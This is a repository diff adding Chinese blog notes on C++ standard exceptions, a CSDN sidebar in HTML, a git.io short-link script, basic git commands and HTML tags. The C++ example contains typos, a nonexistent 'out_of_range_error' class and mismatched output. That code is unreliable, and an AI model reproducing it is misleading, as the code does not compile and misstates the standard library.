//如果写成throw(),则表示不会抛出异常
|
||||||
|
```
|
||||||
|
|
||||||
|
# 三、C++标准库中的异常类
|
||||||
|
|
||||||
|
```
|
||||||
|
//C++异常层次根类为exception类,exception类中的虚函数what()
|
||||||
|
//返回一个C语言风格的字符串,为异常提供文本描述
|
||||||
|
|
||||||
|
//逻辑异常
|
||||||
|
length_error //长度异常
|
||||||
|
domain_error //时域异常
|
||||||
|
out_of_range_error //越界异常
|
||||||
|
invalid_argument //参数异常
|
||||||
|
|
||||||
|
//运行异常
|
||||||
|
range_error //范围错误
|
||||||
|
overflow_error //溢出(上溢)异常
|
||||||
|
underflow_error //溢出(下溢)
|
||||||
|
|
||||||
|
//test:exception 和logic_error类的使用方法
|
||||||
|
# include<exception>
|
||||||
|
# include<iosteam>
|
||||||
|
using namesapce std;
|
||||||
|
void main()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
exception theError;
|
||||||
|
throw(theError);
|
||||||
|
}
|
||||||
|
catch(const exception &theError) //捕捉标准C++异常类的对象
|
||||||
|
{
|
||||||
|
cout<<theError.what()<<endl; //用what()成员函数显示出错的原因
|
||||||
|
}
|
||||||
|
try
|
||||||
|
{
|
||||||
|
logic_error theLogicError("Logic Error!");
|
||||||
|
throw(theLogicError);
|
||||||
|
}
|
||||||
|
catch(const exception theLogicError)
|
||||||
|
{
|
||||||
|
cout<<theLogicError.what()<<endl;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//运行结果
|
||||||
|
Unknown exception
|
||||||
|
Logic Error
|
||||||
|
```
|
|
@ -0,0 +1,70 @@
|
||||||
|
# 原创
|
||||||
|
: CSDN自定义友链侧边栏
|
||||||
|
|
||||||
|
# CSDN自定义友链侧边栏
|
||||||
|
|
||||||
|
>
|
||||||
|
附源码
|
||||||
|
|
||||||
|
|
||||||
|
<img alt="mark" src="https://image.creat.kim/image/20190116/q2nSO36UOiwA.png?imageslim"/><br/> 相信不少人还不知道`CSDN`这个功能,`CSDN`允许博主自定义一个侧边栏的栏目,可以使用`html`语言进行美化,不支持嵌入`js`。<br/> 具体在右上角的下拉菜单中,点击`管理博客`,进入个人后台管理界面。<br/> <img alt="mark" src="https://image.creat.kim/image/20190116/rjKDBA32RSqd.png?imageslim"/><br/> 之后就可以自定义侧边栏了。<br/> <img alt="mark" src="http://image.creat.kim/image/20190116/yUwdTx8N1vxM.png?imageslim"/>
|
||||||
|
|
||||||
|
**我的侧边栏样式源码:**
|
||||||
|
|
||||||
|
```
|
||||||
|
<div align="center">
|
||||||
|
<a href= "https://t.me/baba2333">
|
||||||
|
<font color="blue">Telegram</font>
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
<div align="center">
|
||||||
|
<a href="https://t.me/baba2333">
|
||||||
|
<img src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/telegrame.png" width="70px" height="70px"></a>
|
||||||
|
</div>
|
||||||
|
<hr>
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
<a href= "https://telegra.ph/HomePage-01-03">
|
||||||
|
<font color="black">Telegraph</font>
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
<div align="center">
|
||||||
|
<a href="https://telegra.ph/HomePage-01-03">
|
||||||
|
<img src="https://image.creat.kim/image/20190116/SXmfqhtPffMe.png?imageslim" width="70px" height="70px"></a>
|
||||||
|
</div>
|
||||||
|
<hr>
|
||||||
|
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
<a href= "https://github.com/ds19991999">
|
||||||
|
<font color="red">GitHub</font>
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
<div align="center">
|
||||||
|
<a href="https://github.com/ds19991999">
|
||||||
|
<img src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180729230446.jpg" width="160px" height="80px"></a>
|
||||||
|
</div>
|
||||||
|
<hr>
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
<a href= "https://www.ds-vip.top">
|
||||||
|
<font color="yellow">Blog</font>
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
<div align="center">
|
||||||
|
<a href="https://www.ds-vip.top">
|
||||||
|
<img src="https://raw.githubusercontent.com/ds19991999/ds19991999.github.io/master/assets/avatar.png" width="80px" height="80px"></a>
|
||||||
|
</div>
|
||||||
|
<hr>
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
<a href= "https://promotion.aliyun.com/ntms/yunparter/invite.html?userCode=vya2etaw">
|
||||||
|
<font color="green">阿里云福利</font>
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
<div align="center">
|
||||||
|
<a href="https://promotion.aliyun.com/ntms/yunparter/invite.html?userCode=vya2etaw">
|
||||||
|
<img src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/download.jpeg" width="180px" height="80px"></a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,20 @@
|
||||||
|
# 原创
|
||||||
|
: GitHub短网址服务
|
||||||
|
|
||||||
|
# GitHub短网址服务
|
||||||
|
|
||||||
|
## 示例
|
||||||
|
|
||||||
|
## 自定义git.io后缀
|
||||||
|
|
||||||
|
脚本:[https://raw.githubusercontent.com/ds19991999/shell.sh/shell/shortgit.sh](https://raw.githubusercontent.com/ds19991999/shell.sh/shell/shortgit.sh)
|
||||||
|
|
||||||
|
用法:
|
||||||
|
|
||||||
|
```
|
||||||
|
# shortcode为自定义的后缀
|
||||||
|
bash shortgit.sh url shortcode
|
||||||
|
# 一般用法,随机生成短链
|
||||||
|
bash shortgit.sh url
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,39 @@
|
||||||
|
# 原创
|
||||||
|
: Git提交本地项目或文件
|
||||||
|
|
||||||
|
# Git提交本地项目或文件
|
||||||
|
|
||||||
|
>
|
||||||
|
update: 2018-06-05
|
||||||
|
|
||||||
|
|
||||||
|
## 一、基本命令
|
||||||
|
|
||||||
|
```
|
||||||
|
//建立本地仓库
|
||||||
|
|
||||||
|
//初始化本地仓库
|
||||||
|
$ git init
|
||||||
|
|
||||||
|
//添加到暂存区
|
||||||
|
$ git add .
|
||||||
|
|
||||||
|
//提交到工作区
|
||||||
|
$ git commit -m "first commit"
|
||||||
|
|
||||||
|
//添加远程Git仓库
|
||||||
|
$ git remote add origin https://github.com/ds19991999/VerCodeMFC.git
|
||||||
|
|
||||||
|
//删除远程Git仓库
|
||||||
|
$ git remote rm origin
|
||||||
|
|
||||||
|
//合并pull两个不同的项目解决fatal: refusing to merge unrelated histories
|
||||||
|
$ git pull origin master --allow-unrelated-histories
|
||||||
|
|
||||||
|
//使用强制push的方法:
|
||||||
|
$ git push -u origin master -f
|
||||||
|
```
|
||||||
|
|
||||||
|
## 二、常见问题汇总
|
||||||
|
|
||||||
|
### 1.出现邮箱限制
|
|
@ -0,0 +1,154 @@
|
||||||
|
# 原创
|
||||||
|
: HTML语言笔记(一)
|
||||||
|
|
||||||
|
# HTML语言笔记(一)
|
||||||
|
|
||||||
|
参考教程: [HTML教程](http://www.w3school.com.cn/html/index.asp)
|
||||||
|
|
||||||
|
## 1.简介
|
||||||
|
|
||||||
|
HTML是**超文本标记语言**(Hyper Text Markup Language),使用标记标签来描述网页。HTML 标签是由尖括号包围的关键词,比如 ,通常是成对出现的。Web的作用就是读取HTML文档,并以网页的形式来显示他们。
|
||||||
|
<li> <html> 与 </html> 之间的文本描述网页
|
||||||
|
<hr/> </li><li> <body> 与 </body> 之间的文本是可见的页面内容
|
||||||
|
<hr/> </li><li> <h1> 与 </h1> 之间的文本被显示为1级标题
|
||||||
|
<hr/> </li><li> <p> 与 </p> 之间的文本被显示为段落
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
## 2.编辑器
|
||||||
|
|
||||||
|
推荐使用Notepad或者TextEdit来编写HTML。
|
||||||
|
|
||||||
|
## 3.基础
|
||||||
|
|
||||||
|
标题 <h1> - <h6>共六级<br/> 段落 <p> 标签<br/> 链接 <a> 标签,href属性指定链接的地址<br/> <body> 元素定义了 HTML 文档的主体,<html> 元素定义了整个 HTML 文档。`<a href="http://www.w3school.com.cn">This is a link</a>`<br/> 图像<**img**>标签 包含一些指定图像目录,大小。`<img src="w3school.jpg" width="104" height="142" /img>`
|
||||||
|
|
||||||
|
## 4.元素
|
||||||
|
|
||||||
|
基本元素语法:
|
||||||
|
|
||||||
|
>
|
||||||
|
HTML 元素以开始标签起始<br/> HTML 元素以结束标签终止<br/> 元素的内容是开始标签与结束标签之间的内容<br/> 某些 HTML 元素具有空内容(empty content)<br/> 空元素在开始标签中进行关闭(以开始标签的结束而结束)<br/> 大多数 HTML 元素可拥有属性
|
||||||
|
|
||||||
|
|
||||||
|
示例:
|
||||||
|
<li> <html>
|
||||||
|
<hr/> </li><li>
|
||||||
|
<hr/> </li><li> <body>
|
||||||
|
<hr/> </li><li> <p>This is my first paragraph.</p>
|
||||||
|
<hr/> </li><li> </body>
|
||||||
|
<hr/> </li><li>
|
||||||
|
<hr/> </li><li> </html>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
没有内容的 HTML 元素被称为空元素,空元素是在开始标签中关闭的(无关闭标签),<br> 就是没有关闭标签的空元素(<br> 标签定义换行),单但我们最好用<**br /**>。**HTML标签对大小写不敏感**。
|
||||||
|
|
||||||
|
## 5.属性(加引号)
|
||||||
|
|
||||||
|
[完整的HTML参考手册](http://www.w3school.com.cn/tags/index.asp)、[HTML标准属性参考手册](http://www.w3school.com.cn/tags/html_ref_standardattributes.asp)<br/> 标题居中`h1 align="center">This is heading 1</h1> #弃用`<br/> 背景颜色`<body bgcolor="yellow"> #弃用`<br/> 表格<table>标签`<table border="1"> #拥有关于表格边框的附加信息`<br/> 属性值本身就含有双引号,那么你必须使用单引号`name='Bill "helloworld" Gates'`<br/> 常用HTML属性:
|
||||||
|
|
||||||
|
| 属性| 值| 描述
|
||||||
|
|------
|
||||||
|
| class| classname| 规定元素的类名(classname)
|
||||||
|
| id| id| 规定元素的唯一id
|
||||||
|
| style| style_defination| 规定元素的行内样式(inline style)
|
||||||
|
| title| text| 规定元素的额外信息(可在工具提示中显示)
|
||||||
|
|
||||||
|
## 6.标题 <h1>
|
||||||
|
|
||||||
|
浏览器会自动地在标题的前后添加空行,默认情况下,HTML 会自动地在块级元素前后添加一个额外的空行,比如段落、标题元素前后。<br/> 水平线:<hr /> 标签在 HTML 页面中创建水平线。<br/> 注释:`<!-- This is a comment -->`<br/> 当显示页面时,浏览器会移除源代码中多余的空格和空行。所有连续的空格或空行都会被算作一个空格。需要注意的是,HTML 代码中的所有连续的空行(换行)也被显示为一个空格。
|
||||||
|
|
||||||
|
## 7.样式
|
||||||
|
|
||||||
|
[style属性](http://www.w3school.com.cn/tiy/t.asp?f=html_styles):提供了一种改变所有HTML元素的样式的通用方法,淘汰了”旧的“bgcolor属性([CSS教程](http://www.w3school.com.cn/css/index.asp))<br/> 应该**避免使用下面这些标签的属性**:
|
||||||
|
|
||||||
|
| 标签| 描述
|
||||||
|
|------
|
||||||
|
| <center>| 定义居中的内容
|
||||||
|
| <font>和<basfont>| 定义HTML字体
|
||||||
|
| <s>和<strike>| 定义删除线文本
|
||||||
|
| <u>| 定义下划线文本
|
||||||
|
|
||||||
|
| 属性| 描述
|
||||||
|
|------
|
||||||
|
| align| 定义文本的对齐方式
|
||||||
|
| bgcolor| 定义背景颜色
|
||||||
|
| color| 定义文本颜色
|
||||||
|
|
||||||
|
**示例:**<br/> 颜色示例:
|
||||||
|
<li> <html>
|
||||||
|
<hr/> </li><li>
|
||||||
|
<hr/> </li><li> <body style="background-color:yellow">
|
||||||
|
<hr/> </li><li> <h2 style="background-color:red">This is a heading</h2>
|
||||||
|
<hr/> </li><li> <p style="background-color:green">This is a paragraph.</p>
|
||||||
|
<hr/> </li><li> </body>
|
||||||
|
<hr/> </li><li>
|
||||||
|
<hr/> </li><li> </html>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
字体、颜色和尺寸:
|
||||||
|
<li> <html>
|
||||||
|
<hr/> </li><li>
|
||||||
|
<hr/> </li><li> <body>
|
||||||
|
<hr/> </li><li> <h1 style="font-family:verdana">A heading</h1>
|
||||||
|
<hr/> </li><li> <p style="font-family:arial;color:red;font-size:20px;">A paragraph.</p>
|
||||||
|
<hr/> </li><li> </body>
|
||||||
|
<hr/> </li><li>
|
||||||
|
<hr/> </li><li> </html>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
[text-align](http://www.w3school.com.cn/tiy/t.asp?f=html_headeralign)属性规定了元素中文本的水平对齐方式:
|
||||||
|
<li> <html>
|
||||||
|
<hr/> </li><li>
|
||||||
|
<hr/> </li><li> <body>
|
||||||
|
<hr/> </li><li> <h1 style="text-align:center">This is a heading</h1>
|
||||||
|
<hr/> </li><li> <p>The heading above is aligned to the center of this page.</p>
|
||||||
|
<hr/> </li><li> </body>
|
||||||
|
<hr/> </li><li>
|
||||||
|
<hr/> </li><li> </html>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
|
@ -0,0 +1,362 @@
|
||||||
|
# 原创
|
||||||
|
: HTML语言笔记(二)
|
||||||
|
|
||||||
|
# HTML语言笔记(二)
|
||||||
|
|
||||||
|
## 8.文本格式化
|
||||||
|
|
||||||
|
<pre>标签:预格式文本,它保留了空格和换行。<br/> <b>标签:粗体<br/> <code><kbd><tt><samp><var>常用于计算机/编程<br/> title属性,缩写和首字母缩写:
|
||||||
|
<li> <acronym title="World Wide Web">WWW</acronym>
|
||||||
|
<hr/> </li><li> <abbr title="etcetera">etc.</abbr>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
改变文字方向:`<bdo dir="rtl">Here is some Hebrew text</bdo>`
|
||||||
|
|
||||||
|
### 8.1 块引用:
|
||||||
|
<li> <blockquote>长引用</blockquote> #浏览器会插入换行和外边距
|
||||||
|
<hr/> </li><li> <q>短引用</q> #浏览器不会有任何特殊的呈现
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
删除字效果和插入字效果:`<p>一打有 <del>二十</del> <ins>十二</ins> 件。</p>`<br/> 显示效果:
|
||||||
|
|
||||||
|
一打有 ~~二十~~ <ins>十二</ins> 件。
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### 8.2 文本格式化标签:
|
||||||
|
|
||||||
|
| 标签| 描述
|
||||||
|
|------
|
||||||
|
| [<b>](http://www.w3school.com.cn/tags/tag_font_style.asp)| 定义粗体文本
|
||||||
|
| [<big>](http://www.w3school.com.cn/tags/tag_font_style.asp)| 定义大号字
|
||||||
|
| [<em>](http://www.w3school.com.cn/tags/tag_phrase_elements.asp)| 定义着重文字
|
||||||
|
| [<i>](http://www.w3school.com.cn/tags/tag_font_style.asp)| 定义斜体字
|
||||||
|
| [<small>](http://www.w3school.com.cn/tags/tag_font_style.asp)| 定义小号子
|
||||||
|
| [<strong>](http://www.w3school.com.cn/tags/tag_phrase_elements.asp)| 定义加重语义
|
||||||
|
| [<sub>](http://www.w3school.com.cn/tags/tag_sup.asp)| 定义下标字
|
||||||
|
| [<sup>](http://www.w3school.com.cn/tags/tag_sup.asp)| 定义上标字
|
||||||
|
| [<ins>](http://www.w3school.com.cn/tags/tag_ins.asp)| 定义插入字
|
||||||
|
| [<del>](http://www.w3school.com.cn/tags/tag_del.asp)| 定义删除字
|
||||||
|
| [<s>](http://www.w3school.com.cn/tags/tag_strike.asp)| 弃用。使用<del>代替
|
||||||
|
| [<strike>](http://www.w3school.com.cn/tags/tag_strike.asp)| 弃用。使用<del>代替
|
||||||
|
| [<u>](http://www.w3school.com.cn/tags/tag_u.asp)| 弃用。使用样式(style)代替
|
||||||
|
|
||||||
|
### 8.3 计算机输出
|
||||||
|
|
||||||
|
| 标签| 描述
|
||||||
|
|------
|
||||||
|
| [<code>](http://www.w3school.com.cn/tags/tag_phrase_elements.asp)| 定义代码格式,不保留多余的空格和折行
|
||||||
|
| [<kbd>](http://www.w3school.com.cn/tags/tag_phrase_elements.asp)| 定义键盘输出
|
||||||
|
| [<samp>](http://www.w3school.com.cn/tags/tag_phrase_elements.asp)| 定义计算机代码的输出示例
|
||||||
|
| [<tt>](http://www.w3school.com.cn/tags/tag_font_style.asp)| 定义打字机代码
|
||||||
|
| [<var>](http://www.w3school.com.cn/tags/tag_phrase_elements.asp)| 定义数学变量,公式等
|
||||||
|
| [<pre>](http://www.w3school.com.cn/tags/tag_pre.asp)| 定义**预格式文本,不改变原有格式**
|
||||||
|
| <listing>| 弃用,使用<pre>代替
|
||||||
|
| <plaintext>| 弃用,使用<pre>代替
|
||||||
|
| <xmp>| 弃用,使用<pre>代替
|
||||||
|
|
||||||
|
### 8.4 引用、引用和术语定义**
|
||||||
|
|
||||||
|
| 标签| 描述
|
||||||
|
|------
|
||||||
|
| [<abbr>](http://www.w3school.com.cn/tags/tag_abbr.asp)| 定义缩写
|
||||||
|
| [<acronym>](http://www.w3school.com.cn/tags/tag_acronym.asp)| 定义首字母缩写
|
||||||
|
| [<address>](http://www.w3school.com.cn/tags/tag_address.asp)| 定义地址
|
||||||
|
| [<bdo>](http://www.w3school.com.cn/tags/tag_bdo.asp)| 定义文字方向,反向显示文本
|
||||||
|
| [<blockquote>](http://www.w3school.com.cn/tags/tag_blockquote.asp)| 定义长的引用
|
||||||
|
| [<q>](http://www.w3school.com.cn/tags/tag_q.asp)| 定义短的引用
|
||||||
|
| [<cite>](http://www.w3school.com.cn/tags/tag_phrase_elements.asp)| 定义著作标题,常以斜体表示
|
||||||
|
| [<dfn>](http://www.w3school.com.cn/tags/tag_phrase_elements.asp)| 定义一个项目定义
|
||||||
|
|
||||||
|
### 8.5 CSS样式
|
||||||
|
|
||||||
|
**插入样式表**
|
||||||
|
|
||||||
|
#### 8.5.1 外部样式表
|
||||||
|
|
||||||
|
当页面具有普遍性,能应用与多个页面时用外部样式表,通过更改一个文件来改变整个站点的外观
|
||||||
|
<li> <head>
|
||||||
|
<hr/> </li><li> <link rel="stylesheet" type="text/css" href="mystyle.css">
|
||||||
|
<hr/> </li><li> </head>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
#### 8.5.2 内部样式表
|
||||||
|
|
||||||
|
当单个文件需要特别样式时,就可以使用内部样式表,即在head部分通过<style>标签定义内部样式表。
|
||||||
|
<li> <head>
|
||||||
|
<hr/> </li><li>
|
||||||
|
<hr/> </li><li> <style type="text/css">
|
||||||
|
<hr/> </li><li> body {background-color: red}
|
||||||
|
<hr/> </li><li> p {margin-left: 20px}
|
||||||
|
<hr/> </li><li> </style>
|
||||||
|
<hr/> </li><li> </head>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
#### 8.5.3 内联样式
|
||||||
|
|
||||||
|
当特殊的样式需要用到个别元素时用到,方法即在相关标签中使用样式属性,样式属性可以包含任何<ins> [CSS](http://www.w3school.com.cn/css/index.asp) </ins>属性。
|
||||||
|
<li> <!-- 以下实例显示出如何改变段落的颜色和左外边距 -->
|
||||||
|
<hr/> </li><li> <p style="color: red; margin-left: 20px">
|
||||||
|
<hr/> </li><li> This is a paragraph
|
||||||
|
<hr/> </li><li> </p>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
| 标签| 描述
|
||||||
|
|------
|
||||||
|
| [<style>](http://www.w3school.com.cn/tags/tag_style.asp)| 定义样式定义
|
||||||
|
| [<link>](http://www.w3school.com.cn/tags/tag_link.asp)| 定义资源引用
|
||||||
|
| [<div>](http://www.w3school.com.cn/tags/tag_div.asp)| 定义文档中的节或区域(块级)
|
||||||
|
| [<span>](http://www.w3school.com.cn/tags/tag_span.asp)| 定义文档中的行内的小块或区域
|
||||||
|
| [<font>](http://www.w3school.com.cn/tags/tag_font.asp)| 规定文本的字体,字体尺寸,字体颜色(弃用)
|
||||||
|
| [<basefont>](http://www.w3school.com.cn/tags/tag_basefont.asp)| 定义基准字体(弃用)
|
||||||
|
| [<center>](http://www.w3school.com.cn/tags/tag_center.asp)| 对文本进行水平居中(弃用)
|
||||||
|
|
||||||
|
### 8.6 链接
|
||||||
|
|
||||||
|
**<a>标签使用:**
|
||||||
|
|
||||||
|
#### 8.6.1 通过使用 href 属性 - 创建指向另一个文档的链接
|
||||||
|
<li> <!-- 文字超链接 -->
|
||||||
|
<hr/> </li><li> <a href="http://www.microsoft.com/">本文本</a>
|
||||||
|
<hr/> </li><li>
|
||||||
|
<hr/> </li><li> <!-- 图像作为链接 -->
|
||||||
|
<hr/> </li><li> <a href="/example/html/lastpage.html">
|
||||||
|
<hr/> </li><li> <img border="0" src="/i/eg_buttonnext.gif" />
|
||||||
|
<hr/> </li><li> </a>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
#### 8.6.2 通过使用 name 属性 - 创建文档内的书签
|
||||||
|
|
||||||
|
**name**属性规定锚(anchor)的名称,利用name属性可以**创建HTML页面中的书签**。当使用**命名锚**(named anchors)时,我们可以创建直接跳至该命名锚(比如页面中某个小节)的链接。
|
||||||
|
<li> <!-- 锚,显示在页面上的文本 -->
|
||||||
|
<hr/> </li><li> <a name="lable">锚
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
**注意:**
|
||||||
|
|
||||||
|
>
|
||||||
|
1.锚的名称可以是任何你喜欢的名字<br/> 2.您可以使用 id 属性来替代 name 属性,命名锚同样有效。<br/> 3.假如浏览器找不到已定义的命名锚,那么就会定位到文档的顶端。不会有错误发生。
|
||||||
|
|
||||||
|
|
||||||
|
实例:
|
||||||
|
<li> <!-- 在HTML文档中对锚进行命名,创建一个书签 -->
|
||||||
|
<hr/> </li><li> <a name="tips">基本的注意事项 - 有用的提示</a>
|
||||||
|
<hr/> </li><li> <!-- 在同一个文档中创建指向该锚的链接 -->
|
||||||
|
<hr/> </li><li> <a href="#tips">有用的提示</a>
|
||||||
|
<hr/> </li><li> <!-- 在其他页面中创建指向该锚的链接 -->
|
||||||
|
<hr/> </li><li> <a href="http://www.w3school.com.cn/html/html_links.asp#tips">有用的提示</a>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
#### 8.6.3 target属性
|
||||||
|
|
||||||
|
定义被链接的文档在何处显示,_blank是在新窗口打开文档,_top是跳出框架,直接进入文档
|
||||||
|
<li> <!-- 在新窗口中打开文档 -->
|
||||||
|
<hr/> </li><li> <html>
|
||||||
|
<hr/> </li><li> <body>
|
||||||
|
<hr/> </li><li>
|
||||||
|
<hr/> </li><li> <a href="http://www.w3school.com.cn/"
|
||||||
|
<hr/> </li><li> target="_blank">Visit W3School!</a>
|
||||||
|
<hr/> </li><li>
|
||||||
|
<hr/> </li><li> </body>
|
||||||
|
<hr/> </li><li> </html>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
### 8.7 图像
|
||||||
|
|
||||||
|
图像标签<img>和源属性<Src>,其中<img>是空标签`<img src="url" />`,即没有闭合标签。
|
||||||
|
|
||||||
|
>
|
||||||
|
**图像标签**
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
>
|
||||||
|
**替换文本属性(Alt):**
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
>
|
||||||
|
**图像align属性:**
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
>
|
||||||
|
**图像大小(width height):**
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
>
|
||||||
|
**图像链接**
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
>
|
||||||
|
**图像映射**
|
||||||
|
|
||||||
|
<li> <img
|
||||||
|
<hr/> </li><li> src="/i/eg_planets.jpg"
|
||||||
|
<hr/> </li><li> border="0" usemap="#planetmap"
|
||||||
|
<hr/> </li><li> alt="Planets" />
|
||||||
|
<hr/> </li><li>
|
||||||
|
<hr/> </li><li> <map name="planetmap" id="planetmap">
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
>
|
||||||
|
**图像转化为图像映射**
|
||||||
|
|
||||||
|
<li> <a href="/example/html/html_ismap.html">
|
||||||
|
<hr/> </li><li> <img src="/i/eg_planets.jpg" ismap />
|
||||||
|
<hr/> </li><li> </a>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
### 8.8 表格
|
||||||
|
|
||||||
|
每个表格由**table**标签开始,表格行由**tr**标签开始,表格数据由**td**标签开始,表头以**th**标签开始,表题以**caption**标签开始。
|
||||||
|
|
||||||
|
#### 8.8.1 示例
|
||||||
|
|
||||||
|
**示例1:**
|
||||||
|
<li> <table border="1">
|
||||||
|
<hr/> </li><li> <tr>
|
||||||
|
<hr/> </li><li> <td>100</td>
|
||||||
|
<hr/> </li><li> <td>200</td>
|
||||||
|
<hr/> </li><li> <td>300</td>
|
||||||
|
<hr/> </li><li> </tr>
|
||||||
|
<hr/> </li><li> </table>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
**示例2(表格边框):**
|
||||||
|
|
||||||
|
>
|
||||||
|
border是边框属性,不定义的话不显示边框<br/> 带有普通的边框border="1"<br/> 带有粗的边框border="8"<br/> 带有很粗的边框border=“15”
|
||||||
|
|
||||||
|
<li> <table border="1">
|
||||||
|
<hr/> </li><li> <tr>
|
||||||
|
<hr/> </li><li> <td>First</td>
|
||||||
|
<hr/> </li><li> <td>Row</td>
|
||||||
|
<hr/> </li><li> </tr>
|
||||||
|
<hr/> </li><li> <tr>
|
||||||
|
<hr/> </li><li> <td>Second</td>
|
||||||
|
<hr/> </li><li> <td>Row</td>
|
||||||
|
<hr/> </li><li> </tr>
|
||||||
|
<hr/> </li><li> </table>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
**表头:**<br/> 表格的表头采用<th>标签进行定义,一般显示为粗体。
|
||||||
|
<li> <tr>
|
||||||
|
<hr/> </li><li> <th>Heading</th>
|
||||||
|
<hr/> </li><li> <th>Another Heading</th>
|
||||||
|
<hr/> </li><li> </tr>
|
||||||
|
<hr/> </li>
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
**空单元格:**
|
||||||
|
|
||||||
|
>
|
||||||
|
<td> </td>,有些浏览器不会显示空格单元边框,为避免这种情况,最好加入一个空格占位符`&nbsp;`
|
||||||
|
|
||||||
|
|
||||||
|
#### 8.8.2 表格标签
|
||||||
|
|
||||||
|
| 表格| 描述
|
||||||
|
|------
|
||||||
|
| [<table>](http://www.w3school.com.cn/tags/tag_table.asp)| 定义表格
|
||||||
|
| [<caption>](http://www.w3school.com.cn/tags/tag_caption.asp)| 定义表格标题
|
||||||
|
| [<th>](http://www.w3school.com.cn/tags/tag_th.asp)| 定义表格的表头
|
||||||
|
| [<tr>](http://www.w3school.com.cn/tags/tag_tr.asp)| 定义表格的行
|
||||||
|
| [<td>](http://www.w3school.com.cn/tags/tag_td.asp)| 定义表格单元
|
||||||
|
| [<thead>](http://www.w3school.com.cn/tags/tag_thead.asp)| 定义表格的页眉
|
||||||
|
| [<tbody>](http://www.w3school.com.cn/tags/tag_tbody.asp)| 定义表格的主体
|
||||||
|
| [<tfoot>](http://www.w3school.com.cn/tags/tag_tfont.asp)| 定义表格的页脚
|
||||||
|
| [<col>](http://www.w3school.com.cn/tags/tag_col.asp)| 定义用于表格列的属性
|
||||||
|
| [<colgroup>](http://www.w3school.com.cn/tags/tag_colgroup.asp)| 定义表格列的组
|
||||||
|
|
||||||
|
#### 8.8.3 杂项:
|
||||||
|
|
||||||
|
>
|
||||||
|
